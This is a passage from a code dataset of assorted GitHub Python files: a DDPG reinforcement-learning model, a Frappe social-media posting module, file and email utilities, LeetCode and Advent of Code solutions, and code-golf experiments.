blue=n_blue\n return min(n_red,n_green,n_blue)\n\ndef Paint_House(paints):\n min_cost=0\n selected_paint=-1\n for i in range(len(paints)):\n min=int(1e9)\n for j in range(len(paints[0])):\n if selected_paint==j:\n continue\n if paints[i][j]= FRAME_W: # right\n RECT_Vx *= -1\n if end_point[1] >= FRAME_H: # bottom\n RECT_Vy *= -1\n \n cv2.rectangle(img, start_point, end_point, (0,0,255), 4)\n \n # calculate the fps\n frame_count += 1\n curr_frame_time = time.time()\n diff = curr_frame_time - last_frame_time\n if diff > 1:\n fps = str(round(frame_count/(diff),2))\n last_frame_time = curr_frame_time\n frame_count = 0\n\n # img, text, location of BLC, font, size, color, thickness, linetype\n cv2.putText(img, fps+\", \"+str(int(FRAME_W))+\"x\"+str(int(FRAME_H)), (7, 30), font, 1, (100, 255, 0), 1, cv2.LINE_AA)\n \n cv2.imshow('window',img)\n # quit when click 'q' on keyboard\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break","repo_name":"Geffen-Cooper/381K_digital_video","sub_path":"examples/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35208147159","text":"import functools\nfrom collections import defaultdict\nfrom typing import List, Optional, Dict\n\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import Variable\nfrom tf_agents.agents import tf_agent\nfrom tf_agents.agents.ddpg import ddpg_agent\nfrom tf_agents.agents.ddpg.actor_network import ActorNetwork\nfrom tf_agents.agents.ddpg.critic_network import CriticNetwork\nfrom tf_agents.environments import TFPyEnvironment\nfrom tf_agents.keras_layers import inner_reshape\nfrom tf_agents.networks import sequential, nest_map\nfrom tf_agents.train.utils import spec_utils\nfrom tf_agents.typing import types\nfrom tf_agents.utils import common\n\nfrom magpie.model.dfs_model import DFSModel, DFSModelSettings\nfrom magpie.types.dfs_configuration import TuneParameter\nfrom magpie.types.knob import Knob\n\n\nclass DDPGSettings(DFSModelSettings):\n actor_learning_rate: float = 1e-4\n critic_learning_rate: float = 1e-3\n actor_fc_layer_params: List[int] = [128, 128, 128]\n critic_obs_fc_layers: List[int] = (400,)\n critic_joint_fc_layers: List[int] = (300,)\n ou_stddev: float = 0.2\n ou_damping: float = 0.15\n target_update_tau: float = 0.05\n target_update_period: float = 5\n dqda_clipping: Optional[float] = None\n gamma: float = 0.995\n reward_scale_factor: float = 1.0\n gradient_clipping: Optional[float] = None\n debug_summaries: bool = False\n summarize_grads_and_vars: bool = True\n td_errors_loss_fn: Optional[types.LossFn] = tf.compat.v1.losses.huber_loss\n global_step: Variable\n\n\nclass DDPG(DFSModel):\n\n def __init__(self, environment: TFPyEnvironment, dfs_model_settings: DDPGSettings):\n super().__init__(environment, dfs_model_settings)\n\n def create_agent(self, environment: TFPyEnvironment, ddpg_settings: DDPGSettings) -> tf_agent.TFAgent:\n observation_spec, action_spec, time_step_spec = (spec_utils.get_tensor_specs(environment))\n actor_net = ActorNetwork(observation_spec, action_spec, fc_layer_params=ddpg_settings.actor_fc_layer_params)\n critic_net = CriticNetwork((observation_spec, action_spec),\n action_fc_layer_params=ddpg_settings.critic_obs_fc_layers,\n observation_fc_layer_params=ddpg_settings.critic_obs_fc_layers,\n joint_fc_layer_params=ddpg_settings.critic_joint_fc_layers)\n\n # actor_net = create_actor_network(ddpg_settings.actor_fc_layer_params, environment.action_spec())\n # critic_net = create_critic_network((400,),\n # None,\n # (300,))\n\n tf_agent = ddpg_agent.DdpgAgent(\n environment.time_step_spec(),\n environment.action_spec(),\n actor_network=actor_net,\n critic_network=critic_net,\n actor_optimizer=tf.compat.v1.train.AdamOptimizer(learning_rate=ddpg_settings.actor_learning_rate),\n critic_optimizer=tf.compat.v1.train.AdamOptimizer(learning_rate=ddpg_settings.critic_learning_rate),\n ou_stddev=ddpg_settings.ou_stddev,\n ou_damping=ddpg_settings.ou_damping,\n target_update_tau=ddpg_settings.target_update_tau,\n target_update_period=ddpg_settings.target_update_period,\n dqda_clipping=ddpg_settings.dqda_clipping,\n td_errors_loss_fn=ddpg_settings.td_errors_loss_fn,\n gamma=ddpg_settings.gamma,\n reward_scale_factor=ddpg_settings.reward_scale_factor,\n gradient_clipping=ddpg_settings.gradient_clipping,\n debug_summaries=ddpg_settings.debug_summaries,\n summarize_grads_and_vars=ddpg_settings.summarize_grads_and_vars,\n train_step_counter=ddpg_settings.global_step)\n return tf_agent\n\n def generate_knobs(self, knobs: List[Knob], action: np.array) -> Dict[str, List[TuneParameter]]:\n \"\"\"\n generate knobs for given actions\n :param knobs:\n :param action:\n :return: {knob_scope, [Knob, Knob_value]}\n \"\"\"\n new_config = defaultdict(list)\n for knob, action_value in zip(knobs, action):\n assert 0 <= action_value <= 1, \"action value is between 0 and 1\"\n if knob.type is np.int:\n new_value = knob.min + (knob.max - knob.min) * action_value\n new_value = int(new_value + 0.5)\n else:\n raise NotImplementedError(f\"knob type {knob.type} is not implemented.\")\n tune_parameter = TuneParameter(knob, new_value)\n new_config[knob.scope].append(tune_parameter)\n return new_config\n\n def create_actor_network(self, fc_layer_units, action_spec):\n \"\"\"Create an actor network for DDPG.\"\"\"\n flat_action_spec = tf.nest.flatten(action_spec)\n if len(flat_action_spec) > 1:\n raise ValueError('Only a single action tensor is supported by this network')\n flat_action_spec = flat_action_spec[0]\n dense = functools.partial(\n tf.keras.layers.Dense,\n activation=tf.keras.activations.relu,\n kernel_initializer=tf.compat.v1.variance_scaling_initializer(\n scale=1. / 3.0, mode='fan_in', distribution='uniform'))\n fc_layers = [dense(num_units) for num_units in fc_layer_units]\n\n num_actions = flat_action_spec.shape.num_elements()\n action_fc_layer = tf.keras.layers.Dense(\n num_actions,\n activation=tf.keras.activations.tanh,\n kernel_initializer=tf.keras.initializers.RandomUniform(\n minval=-0.003, maxval=0.003))\n\n scaling_layer = tf.keras.layers.Lambda(\n lambda x: common.scale_to_spec(x, flat_action_spec))\n return sequential.Sequential(fc_layers + [action_fc_layer, scaling_layer])\n\n def create_critic_network(self, obs_fc_layer_units,\n action_fc_layer_units,\n joint_fc_layer_units):\n \"\"\"Create a critic network for DDPG.\"\"\"\n dense = functools.partial(\n tf.keras.layers.Dense,\n activation=tf.keras.activations.relu,\n kernel_initializer=tf.compat.v1.variance_scaling_initializer(\n scale=1. / 3.0, mode='fan_in', distribution='uniform'))\n\n def split_inputs(inputs):\n return {'observation': inputs[0], 'action': inputs[1]}\n\n def create_fc_network(layer_units):\n return sequential.Sequential([dense(num_units) for num_units in layer_units])\n\n def create_identity_layer():\n return tf.keras.layers.Lambda(lambda x: x)\n\n obs_network = create_fc_network(\n obs_fc_layer_units) if obs_fc_layer_units else create_identity_layer()\n action_network = create_fc_network(\n action_fc_layer_units\n ) if action_fc_layer_units else create_identity_layer()\n joint_network = create_fc_network(\n joint_fc_layer_units) if joint_fc_layer_units else create_identity_layer(\n )\n value_fc_layer = tf.keras.layers.Dense(\n 1,\n activation=None,\n kernel_initializer=tf.keras.initializers.RandomUniform(\n minval=-0.003, maxval=0.003))\n\n return sequential.Sequential([\n tf.keras.layers.Lambda(split_inputs),\n nest_map.NestMap({\n 'observation': obs_network,\n 'action': action_network\n }),\n nest_map.NestFlatten(),\n tf.keras.layers.Concatenate(),\n joint_network,\n value_fc_layer,\n inner_reshape.InnerReshape([1], [])\n ])\n\n def train(self, experience):\n return self.tf_agent.train(experience)\n","repo_name":"dos-group/magpie","sub_path":"magpie/model/ddpg.py","file_name":"ddpg.py","file_ext":"py","file_size_in_byte":7728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28378462995","text":"from __future__ import unicode_literals\nimport frappe\nfrom instabot import Bot\nfrom frappe.model.document import Document\nfrom datetime import timedelta\nfrom datetime import datetime\nfrom postal_hub.postal_hub.doctype.postal_post import url , hashtag , token\nimport requests\n\nclass PostalPost(Document):\n\tpass\n\n\n@frappe.whitelist()\ndef get_data():\n\tresult = frappe.db.sql(\"\"\"select post_image,caption from `tabPostal Post`\"\"\",as_dict = 1)\n\treturn result\n\n@frappe.whitelist()\ndef insert_data():\n\treturn \"success\"\n\n@frappe.whitelist() # Add the image from the attachment to the field\ndef data_to_field(doc,image):\n\tget_doc = frappe.get_doc(\"Postal Post\",doc)\n\tfile_doc = frappe.get_doc(\"File\", {\"file_url\":f'/private/files/{image}'})\n\tget_doc.post_image = file_doc.file_url\n\t# print(file_doc.file_url)\n\t# posting(doc,get_doc.caption)\n\tget_doc.save()\n\n@frappe.whitelist() # Created the field and return to the primary key\t\ndef created_doc(caption, facebook, insta, tweet, future, hrs):\n\tnew_doc = frappe.new_doc(\"Postal Post\")\n\tnew_doc.caption = caption\n\tdetail = frappe.new_doc(\"Post Details\")\n\tdetail.facebook = 1 if facebook == \"1\" else 0\n\tdetail.instagram = 1 if insta == \"1\" else 0\n\tdetail.twitter = 1 if tweet == \"1\" else 0\n\tdetail.save()\n\tnew_doc.detail = detail.name\n\tnew_doc.is_complete = 1 if future == \"0\" else 0\n\tnew_doc.post_time = datetime.strptime(frappe.utils.now(), '%Y-%m-%d %H:%M:%S.%f') + timedelta(hours = 0 if new_doc.is_complete == 1 else int(hrs))\n\tnew_doc.save()\n\treturn str(new_doc.name)\n\n\n@frappe.whitelist()\ndef image(docname):\n\tmode = frappe.get_doc(\"Postal Post\",\"d4a93411b6\")\n\tprint(mode.post_image)\n\treturn mode.post_image\n\n\n@frappe.whitelist()\ndef login():\n\treturn \"success\"\n\t\n\n@frappe.whitelist()\ndef data():\n\tresult = frappe.db.sql(\"select * from `tabPostal Post` as post inner join `tabPost Details` as media on media.name=post.detail\")\n\treturn result\n\n\n@frappe.whitelist()\ndef stackpost():\n\tstack = frappe.db.sql(\"select pp.post_image,pp.caption, pp.is_complete,pd.facebook,pd.instagram,pd.twitter,pp.post_time from `tabPostal Post` as pp inner join `tabPost Details` as pd on pp.detail = pd.name order by pp.post_time desc\",as_list=1)\n\tfor s in range(0,len(stack)):\n\t\tnow = datetime.strptime(frappe.utils.now(), '%Y-%m-%d %H:%M:%S.%f')\n\t\tthen = stack[s][6]\n\t\tbalance = now - then\n\t\tbal_second = balance.total_seconds()\n\t\tstack[s][6] = divmod(bal_second,3600)[0] if divmod(bal_second,3600)[0] !=0 else divmod(bal_second,3600)[1]\n\t\tstack[s].append(True if divmod(bal_second,3600)[0] == 0 else False)\n\treturn stack\n\n\n@frappe.whitelist()\ndef post(docname):\n\n\tpage = frappe.get_doc(\"Postal Post\",docname)\n\tsession = frappe.get_doc(\"Post Details\",page.detail)\n\tsocial = []\n\tif session.twitter == 1:\n\t\tsocial.append(\"twitter\")\n\tif session.facebook == 1:\n\t\tsocial.append(\"facebook\")\n\n\tpayload = {\"post\": page.caption + hashtag,\"platforms\": social,}\n\theaders = {'Content-Type': 'application/json', 'Authorization': f'Bearer {token}'}\n\tr = requests.post(url, \n json=payload, \n headers=headers)\n\treturn \"success\"\n","repo_name":"kavinkumar999/postal_hub","sub_path":"postal_hub/postal_hub/doctype/postal_post/postal_post.py","file_name":"postal_post.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"32651700149","text":"import tweepy\nimport sys\n\nclass MyStreamListener(tweepy.StreamListener):\n\n def on_status(self, status):\n print(status.text)\n\n\n\ndef main():\n auth = tweepy.OAuthHandler(sys.argv[1],sys.argv[2])\n auth.set_access_token(sys.argv[3],sys.argv[4])\n api = tweepy.API(auth)\n\n stream_listener = MyStreamListener()\n stream = tweepy.Stream(auth = api.auth, listener=stream_listener)\n stream.filter(track=['airtel'])\n\nif __name__ == '__main__':\n main()\n","repo_name":"harshnehal1996/DL_stockmarket","sub_path":"twitter_streaming/stream_listener.py","file_name":"stream_listener.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24953385646","text":"import inspect\nimport logging\nimport os\nimport shutil\nimport smtplib\nimport subprocess\nimport sys\nfrom collections import OrderedDict\nfrom email import encoders\nfrom email.mime.base import MIMEBase\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom functools import wraps\nfrom math import fabs\nfrom operator import sub\n\nlogger = logging.getLogger(__name__)\n\n\ndef convert_ms_to_duration(total_ms):\n \"\"\"\n Convert milliseconds to duration\n\n :param int total_ms: Total time in milliseconds\n\n :returns: hours, minutes and seconds\n :rtype: dict\n\n Output format::\n\n { 'hours': 13, 'minutes': 40, 'seconds': 10 }\n \"\"\"\n return OrderedDict([\n ('hours', (total_ms // (1000 * 60 * 60)) % 24),\n ('minutes', (total_ms // (1000 * 60)) % 60),\n ('seconds', (total_ms // 1000) % 60)\n ])\n\n\ndef calculate_wind_speed(ground_speed, air_speed):\n \"\"\"\n Calculate wind speed from given air speed and ground speed. Wind speed is\n essentially the difference between the air and ground speed. This function\n does not calculate the direction of the wind.\n\n :param list[float] ground_speed: Ground speed of aircraft\n :param list[float] air_speed: Air speed of aircraft\n\n :returns: Wind speed magnitude (scalar quantity)\n :rtype: float\n \"\"\"\n wind_speed = list(map(sub, air_speed, ground_speed))\n wind_speed = [round(fabs(s), 2) for s in wind_speed]\n return wind_speed\n\n\ndef calculate_average(values_list):\n \"\"\"Calculate the average of a list\n\n :param list values_list: List of values that need to be averaged\n\n :returns: average value of the list\n :rtype: float\n\n :raises: ZeroDivisionError\n \"\"\"\n try:\n return round(float(sum(values_list) / len(values_list)), 2)\n except ZeroDivisionError:\n logger.exception(\"Divide by zero error. There were no values stored in \"\n \"the list to calculate the average.\")\n\n\ndef calculate_percent(value, total):\n \"\"\"Calculate percentage of a number passed as an argument.\n\n :param int value: Actual value\n :param int total: Total value\n\n :returns: Percentage\n :rtype: int\n \"\"\"\n return int(value / total * 100)\n\n\ndef get_free_space_on_disk(disk_path):\n \"\"\"\n Get the free space percent of a disk\n\n :param str disk_path: Absolute path of disk or any file on disk\n :return: Percentage of free disk space\n :rtype: float\n\n Example Usage ::\n\n from quark.helpers.utils import get_free_space_on_disk\n\n free_disk_percent = get_free_space_on_disk('/home/krnekhelesh/Documents')\n print('Home directory has {} free space'.format(free_disk_percent))\n \"\"\"\n disk_path = os.path.dirname(disk_path) if os.path.isfile(disk_path) else disk_path\n if os.path.isdir(disk_path):\n total, _, free = shutil.disk_usage(disk_path)\n free_disk_space_percent = calculate_percent(free, total)\n return free_disk_space_percent\n else:\n logger.error('Invalid directory path supplied to '\n 'get_free_space_on_disk(). Skipping disk space check!')\n return None\n\n\ndef open_file(file):\n \"\"\"\n Opens file using the platform's default viewer for that file mimetype.\n For instance, if a .kml file is passed, then it will be opened\n automatically using Google Earth if it is installed in the system.\n\n :param str file: Absolute path of file\n \"\"\"\n logger.info('Requesting OS to handle opening of {}'.format(file))\n\n if not os.path.isfile(file):\n logger.error('{} file cannot be opened as it cannot be found!'.format(file))\n return\n\n if sys.platform == 'linux':\n subprocess.call(('xdg-open', file))\n elif sys.platform == 'win32':\n try:\n os.startfile(file)\n except NotImplementedError as err_msg:\n logger.exception(str(err_msg))\n elif sys.platform == 'darwin':\n subprocess.call(('open', file))\n\n\ndef send_email(username, password, recipients, subject, description, attachments, emailSentFinishedSignal):\n \"\"\"\n Function to send email (via Gmail) using the SMTP protocol. It takes in\n all the arguments such as from email credentials, file attachments, subject\n and body to create the email.\n\n .. warning::\n Services like Gmail will reject sending emails as this function\n sends email through an insecure protocol. As such, the sender's\n Gmail account settings should have allow unauthorised apps enabled!\n\n :param str username: email address of sender\n :param str password: password of email address of sender\n :param list recipients: recipient(s) to whom the email has to be sent\n :param str subject: one line summary of email\n :param str description: email body\n :param list attachments: file attachments\n :param pyqtSignal emailSentFinishedSignal: Signal to indicate that the\n email has been sent\n\n :exception: If unable to open any of the attachments or unable to send the\n email for any reason\n \"\"\"\n # Create the enclosing (outer) message\n outer_msg = MIMEMultipart()\n outer_msg['Subject'] = subject\n outer_msg['To'] = ', '.join(recipients)\n outer_msg['From'] = username\n outer_msg.attach(MIMEText(description))\n outer_msg.preamble = 'You will not see this in a MIME-aware mail reader.\\n'\n\n # Add the attachments to the message\n for file in attachments:\n try:\n with open(file, 'rb') as fp:\n msg = MIMEBase('application', \"octet-stream\")\n msg.set_payload(fp.read())\n encoders.encode_base64(msg)\n msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file))\n outer_msg.attach(msg)\n except:\n logger.exception(\"Unable to open one of the attachments!\")\n\n composed = outer_msg.as_string()\n\n # Send the email\n try:\n with smtplib.SMTP('smtp.gmail.com', 587) as s:\n s.ehlo()\n s.starttls()\n s.ehlo()\n s.login(username, password)\n s.sendmail(username, recipients, composed)\n s.close()\n logger.info(\"Email sent!\")\n is_email_sent = True\n except:\n logger.exception(\"Unable to send the email!\")\n is_email_sent = False\n\n if is_email_sent:\n emailSentFinishedSignal.emit(True, \"Your bug report has been submitted successfully. Thank you for taking the \"\n \"time to report the bug. Enjoy your day!\")\n else:\n emailSentFinishedSignal.emit(False, \"Your report could not be sent. Please check if you are connected to the \"\n \"internet and try again!\")\n\n\ndef generate_file(filepath, data):\n \"\"\"\n A very generic function that takes a list of strings and writes that into\n the file.\n\n :param str filepath: Absolute path of the file to be generated\n :param data: Data to be written into the file\n :type: list(str)\n\n :raises IOError: If file path is invalid or if the file in question is\n opened by another application that is locking it\n \"\"\"\n logger.info(\"Generating {} file\".format(filepath))\n\n if os.path.exists(filepath):\n os.remove(filepath)\n\n try:\n with open(filepath, 'w') as data_file:\n for line in data:\n data_file.write(line)\n data_file.write('\\n')\n data_file.close()\n except IOError:\n logger.critical(\"Unable to create {} file. Please close other applications that may be using this \"\n \"file and locking it.\".format(filepath), exc_info=True)\n\n\ndef file_check(func):\n \"\"\"\n This function is meant to be used as a decorator to perform file validity\n check which includes file existence, type and value check.\n\n :raise ValueError: If file check fails\n\n Example Usage ::\n\n from quark.helpers.utils import file_check\n\n @file_check\n def get_file_info(file)\n print(os.path.basename(file)\n\n try:\n get_file_info('/some/invalid/path')\n except ValueError:\n print('Invalid path passed!')\n \"\"\"\n @wraps(func)\n def wrapper(*args):\n for index, var_name in enumerate(inspect.getfullargspec(func)[0]):\n # self argument in a class method should be skipped\n if var_name != 'self':\n if args[index] is None or not os.path.isfile(args[index]):\n raise ValueError('{} is not a valid file path!'.format(args[index]))\n return func(*args)\n return wrapper\n\n\ndef folder_check(func):\n \"\"\"\n This function is meant to be used as a decorator to perform folder validity\n check which includes folder existence, type and value check.\n\n :raise ValueError: If folder check fails\n\n Example Usage ::\n\n from quark.helpers.utils import folder_check\n\n @folder_check\n def get_folder_info(folder)\n print(len(os.listdir(folder))\n\n try:\n get_folder_info('/some/invalid/path')\n except ValueError:\n print('Invalid path passed!')\n \"\"\"\n @wraps(func)\n def wrapper(*args):\n for index, var_name in enumerate(inspect.getfullargspec(func)[0]):\n # self argument in a class method should be skipped\n if var_name != 'self':\n if args[index] is None or not os.path.isdir(args[index]):\n raise ValueError('{} is not a valid folder path!'.format(args[index]))\n return func(*args)\n return wrapper\n\n","repo_name":"dweepjyoti/automatic_gcp_detection","sub_path":"helpers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19416927182","text":"\n## https://stackoverflow.com/posts/54480126/revisions\n## uses base python to output all the possible combinations of a list of integers a\n\ndef combs(a:list[int])-> list[list[int]]:\n if len(a) == 0:\n return [[]]\n cs = []\n for c in combs(a[1:]):\n cs += [c, c+[a[0]]]\n return cs\n\nclass Solution:\n def combinationSum3(self, k: int, n: int) -> List[List[int]]:\n digits = [1,2,3,4,5,6,7,8,9]\n klength = [x for x in combs(digits) if len(x)==k]\n nsum = [x for x in klength if sum(x)==n]\n return nsum","repo_name":"ujsolon/Leetcode","sub_path":"216-combination-sum-iii/216-combination-sum-iii.py","file_name":"216-combination-sum-iii.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33725965167","text":"'''\r\nAim: Determine whether the entered string is palindrome or not.\r\n\r\n'''\r\n\r\nclass Solution:\r\n def __init__(self):\r\n self.stack = []\r\n self.queue = []\r\n return(None)\r\n\r\n def pushCharacter(self, char):\r\n self.stack.append(char)\r\n\r\n def popCharacter(self):\r\n return(self.stack.pop(-1))\r\n\r\n def enqueueCharacter(self, char):\r\n self.queue.append(char)\r\n\r\n def dequeueCharacter(self):\r\n return(self.queue.pop(0))\r\n\r\n# read the string s\r\ns = input()\r\n\r\n# creating the Solution class object\r\nobj = Solution() \r\n\r\nl = len(s)\r\n\r\n# push/enqueue all the characters of string s to stack\r\nfor i in range(l):\r\n obj.pushCharacter(s[i])\r\n obj.enqueueCharacter(s[i])\r\n \r\nisPalindrome = True\r\n'''\r\npop the top character from stack\r\ndequeue the first character from queue\r\ncompare both the characters\r\n''' \r\nfor i in range(l // 2):\r\n if obj.popCharacter()!=obj.dequeueCharacter():\r\n isPalindrome = False\r\n break\r\n \r\n# finally print whether string s is palindrome or not\r\nif isPalindrome:\r\n print(\"The word, \"+s+\", is a palindrome.\")\r\nelse:\r\n print(\"The word, \"+s+\", is not a palindrome.\")\r\n\r\n'''\r\nSample Test Case:\r\nInput: \r\nlevel\r\nOutput: \r\nThe word, level, is a palindrome.\r\nExplaination:\r\nAll the characters popped from stack, matched the ones dequeued from queue.\r\n\r\n'''","repo_name":"smv1999/CompetitiveProgrammingQuestionBank","sub_path":"Data Structures/Stacks/Palindrome_Checker.py","file_name":"Palindrome_Checker.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":1181,"dataset":"github-code","pt":"54"} +{"seq_id":"34746058892","text":"from se.utils.decorators import time_track\n\n\n@time_track\ndef run(ph=5.,\n vazao_produto=5.,\n vazao_agua_lavagem=130.,\n injecao_neutralizante=20.):\n\n from se.pyknow_version.engine import ESEngine\n from se.pyknow_version.engine import Data\n engine = ESEngine()\n engine.reset()\n engine.declare(Data(ph=ph,\n vazao_produto=vazao_produto,\n vazao_agua_lavagem=vazao_agua_lavagem,\n injecao_neutralizante=injecao_neutralizante))\n engine.run()\n","repo_name":"lucasmpaim/clipspyxpyknow","sub_path":"se/pyknow_version/se_with_track.py","file_name":"se_with_track.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1859307808","text":"##################\n# The challenge: ####################################################################################################\n# http://codegolf.stackexchange.com/questions/80904/my-keybore-is-key-boring-me-help-me-find-a-minimal-keystrokes #\n#####################################################################################################################\n\ndef R(j):\n import re,random;h=lambda j:sum([(len(i)*(len(i)+1))/2if i[-1]=='+'else-((len(i)*(len(i)+1))/2)for i in re.sub('(?<=(-))(?=(\\+))|(?<=(\\+))(?=(-))',' ',j).split()])\n k=[]\n for i in range(2):\n m=['-+'[i==1]]\n while h(''.join(m))!=j:\n if h(''.join(m))j:\n m.append('-')\n k.append(''.join(m))\n return len(''.join(min(k,key=len)))\n\n# [print(R(i))for i in range(51)]\nprint(R(361))\n\n# Another Version\ndef R2(j):\n import re;h=lambda j:sum([(len(i)*(len(i)+1))/2if i[-1]=='+'else-((len(i)*(len(i)+1))/2)for i in re.sub('(?<=(-))(?=(\\+))|(?<=(\\+))(?=(-))',' ',j).split()])\n m=[]\n while h(''.join(m))!=j:\n if h(''.join(m))j:\n m.append('-')\n w=[]\n for i in range(len(''.join(m))):\n k=['+']*i\n print(k)\n while h(''.join(k))!=j:\n if h(''.join(k))j:\n k.append('-')\n w.append(''.join(k))\n print(w)\n return''.join(min(w,key=len))\n\n# print(R2(97)) #\n\n# Another Version; This one uses a cartesian product method and therefore is INCREDIBLY slow\nimport itertools,re\ndef R3(j):\n z=[];h=lambda j:sum([(len(i)*(len(i)+1))/2if i[-1]=='+'else-((len(i)*(len(i)+1))/2)for i in re.sub('(?<=(-))(?=(\\+))|(?<=(\\+))(?=(-))',' ',j).split()])\n for i in range(1,j+1):\n e=itertools.product(['+','-'],repeat=i)\n [z.append(i)for i in itertools.product(['+','-'],repeat=i)if h(''.join(i))==j]\n return''.join(min(z,key=len))\n\n# print(R3(361)) #\n\n# Yet Another Version\ndef R4(j):\n import re,random;h=lambda j:sum([(len(i)*(len(i)+1))/2if i[-1]=='+'else-((len(i)*(len(i)+1))/2)for i in re.sub('(?<=(-))(?=(\\+))|(?<=(\\+))(?=(-))',' ',j).split()])\n k=[]\n for i in range(2):\n m=['-+'[i==1]]\n while h(''.join(m))!=j:\n m.append(random.choice(['+','-']))\n k.append(''.join(m))\n return''.join(min(k,key=len))\n\n# print(R4(361)) #\n\n# ANY even number can apparently be represented by a repetition of many `++-`s, followed by a `+` for ANY odd number.\n# Try it now!\ndef R5(j):\n import re;h=lambda j:sum([(len(i)*(len(i)+1))/2if i[-1]=='+'else-((len(i)*(len(i)+1))/2)for i in re.sub('(?<=(-))(?=(\\+))|(?<=(\\+))(?=(-))',' ',j).split()])\n m=[]\n for g in range(j+1):\n while h(''.join(m))!=g:\n if h(''.join(m))g:\n m.append('-')\n return''.join(m)","repo_name":"ImpregnableProgrammer/My-Python-Programs","sub_path":"PPCG_Submissions/Minimal KeyStroke Algorithm.py","file_name":"Minimal KeyStroke Algorithm.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41532603469","text":"from typing import Optional\n\nimport pandas as pd\nimport pandera as pa\nfrom loguru import logger\nfrom pandera.typing import DataFrame\n\nfrom src.dataset.shema import DTYPES, HotelTrainBaseSchema\n\n\n@pa.check_types\ndef load_df_from_csv(\n file_path: str, nrows: Optional[int] = None\n) -> DataFrame[HotelTrainBaseSchema]:\n \"\"\"csvファイルを読み込み、pandas.DataFrameに変換する\n\n Args:\n file_path (str): _description_\n nrows (Optional[int], optional): _description_. Defaults to None.\n\n Returns:\n DataFrame[HotelTrainBaseSchema]: _description_\n \"\"\"\n logger.info(f\"load dataframe from {file_path}\")\n df = pd.read_csv(file_path, nrows=nrows, dtype=DTYPES)\n df = df.dropna()\n\n return df\n\n\ndef load_test_df_from_csv(file_path: str, nrows: Optional[int] = None):\n \"\"\"テストのcsvファイルを読み込み、pandas.DataFrameに変換する\n\n Args:\n file_path (str): _description_\n nrows (Optional[int], optional): _description_. Defaults to None.\n\n Returns:\n _type_: _description_\n \"\"\"\n logger.info(f\"load dataframe from {file_path}\")\n df = pd.read_csv(file_path, nrows=nrows, dtype=DTYPES)\n logger.info(df.shape)\n\n return df\n\n\n@pa.check_types\ndef load_df_from_pickle(file_path: str) -> DataFrame[HotelTrainBaseSchema]:\n \"\"\"pickleファイルを読み込み、pandas.DataFrameに変換する\n\n Args:\n file_path (str): _description_\n\n Returns:\n DataFrame[HotelTrainBaseSchema]: _description_\n \"\"\"\n logger.info(f\"load dataframe from {file_path}\")\n df: pd.DataFrame = pd.read_pickle(file_path)\n df = df.dropna()\n\n return df\n","repo_name":"ac2393921/kaggle-expedia-hotel-recommendations","sub_path":"src/dataset/data_manager.py","file_name":"data_manager.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"63996556","text":"with open('d9.txt', 'rt') as f:\n input = f.read().strip()\n\n\ndef find_eog(chunk):\n i = 0\n n = len(chunk)\n gc = 0\n while i < n:\n c = chunk[i]\n if c == '>': # end\n return i, gc\n elif c == '!': # skip\n i += 2\n continue\n i += 1\n gc += 1\n raise Exception(\"endless garbage\")\n\n\ndef handle_group(chunk, score):\n i = 0\n n = len(chunk)\n total = score\n tgc = 0\n while i < n:\n c = chunk[i]\n if c == '}': # end\n return i, total, tgc\n elif c == '{': # new group\n eog, res, gc = handle_group(chunk[i + 1:], score + 1)\n total += res\n i += 2 + eog\n tgc += gc\n continue\n elif c == '<': # garbage\n j, gc = find_eog(chunk[i + 1:])\n i += 2 + j\n tgc += gc\n continue\n # nothing?\n # print(f'wtf:{c}')\n i += 1\n raise Exception(\"endless group\")\n\n\ndef part1(input):\n if input[0] != '{':\n raise Exception(\"does not start with a group\")\n eog, tot, tgc = handle_group(input[1:], 1)\n\n # print(tot, eog + 1, len(input))\n return tot, tgc\n\n\nfor inp in \"\"\"\n{}\n{{{}}}\n{{},{}}\n{{{},{},{{}}}}\n{
,,,}\n{{},{},{},{}}\n{{},{},{},{}}\n{{},{},{},{}}\n\"\"\".strip().split('\\n'):\n print(inp)\n print(part1(inp))\n\nprint(part1(input))\n\nfor inp in \"\"\"\n<>\n\n<<<<>\n<{!>}>\n\n>\n<{o\"i!a,<{i\n\"\"\".strip().split('\\n'):\n print(find_eog(inp[1:]))\n","repo_name":"bj0/aoc","sub_path":"aoc/2017/d9.py","file_name":"d9.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15562910310","text":"'''\nPROBLEM STATEMENT: Convert a BST into a Circular Doubly Linked List\n\n(Google question)\nWrite a recursive function treeToList(Node root) that takes a BST and rearranges the internal pointers to make a circular doubly linked list out of the tree nodes. The \"previous\" pointers should be stored in the \"Left\" field and the \"next\" pointers should be stored in the \"Right\" field. The list should be arranged so that the nodes are in increasing order. Print (space separated) the resulting linked list starting from its head node. (see test-case output to understand the formatting). The operation can be done in O(n) time.\n\nCustom Input Format:\n--------------------\nFirst line contains single integer denoting total no of nodes in the tree.\nSeconds line contains pre-order traversal 